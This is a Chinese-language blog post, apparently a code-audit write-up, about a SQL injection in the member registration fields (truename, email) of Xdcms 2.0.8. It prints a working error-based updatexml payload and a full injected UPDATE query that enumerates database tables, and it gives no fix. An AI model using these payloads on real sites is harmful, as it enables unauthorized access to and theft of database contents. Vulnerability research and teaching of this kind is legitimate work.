美文网首页
Xdcms 2.0.8 SQL注入

Xdcms 2.0.8 SQL注入

作者: CSeroad | 来源:发表于2018-05-04 16:13 被阅读48次

在网上下载好xdcms2.0.8版本,安装后进行代码审计测试

漏洞位置:D:\audit\xdcms\system\modules\member\index.php

在会员注册的位置出现了SQL注入

注册

注册页面有5个参数,分别是

username,password,password2,fields[truename], fields[email]

抓包可获取到

看一下具体代码,

插入数据库

Username,password变量以sql插入语句进入数据库,在之前进行了安全过滤。

安全过滤

即使用safe_html函数进行过滤

但是fields[truename], fields[email]这两个参数以更新的方式进入数据库,且没有安全过滤

漏洞由此产生

看代码

传值

$field_sql为

上面进行的注册

我们对file[truename]这个参数进行利用,抓包进行修改参数

利用exp

漏洞利用:使用的exp为

xxxx' orupdatexml(2,concat(0x7e,(database())),0) or '

爆出数据库

注意:因为用户名不能重复,所以每次放包都要修改username

爆出当前用户 success

使用报错语句可爆出更多内容

update  c_member  set  `truename`='abZXc'   or updatexml(0,concat(0x7e,(SELECT  concat(table_name) FROM information_schema.tables  WHERE  table_schema=database()  limit  0,1)),0)  or '',`email`='sadssds'  where  userid=1

使用phpmyadmin进行测试

当前数据库xdcms 使用limit分别遍历 获取数据

更多注入语句,参考

http://www.vuln.cn/6772

相关文章

  • Xdcms 2.0.8 SQL注入

    在网上下载好xdcms2.0.8版本,安装后进行代码审计测试 漏洞位置:D:\audit\xdcms\system...

  • web--杂烩

    这个笔记有点乱 0x01 cms XDCMS1、SQL注入漏洞 注册会员处的 SQL 注入/system/modu...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • 谈谈sql注入之语句构造手法(二)

    谈谈sql注入(一)谈谈sql注入(三)谈谈sql注入(四)SQL注入的手法相当灵活,在注入的时候会碰到很多意外的...

  • SQL注入三部曲-初级

    目录 什么是SQL注入SQL注入产生的原因SQL注入攻击方式如何进行SQL注入SQL注入三部曲 1.渗透攻防WEB...

网友评论

      本文标题:Xdcms 2.0.8 SQL注入

      本文链接:https://www.haomeiwen.com/subject/irwdrftx.html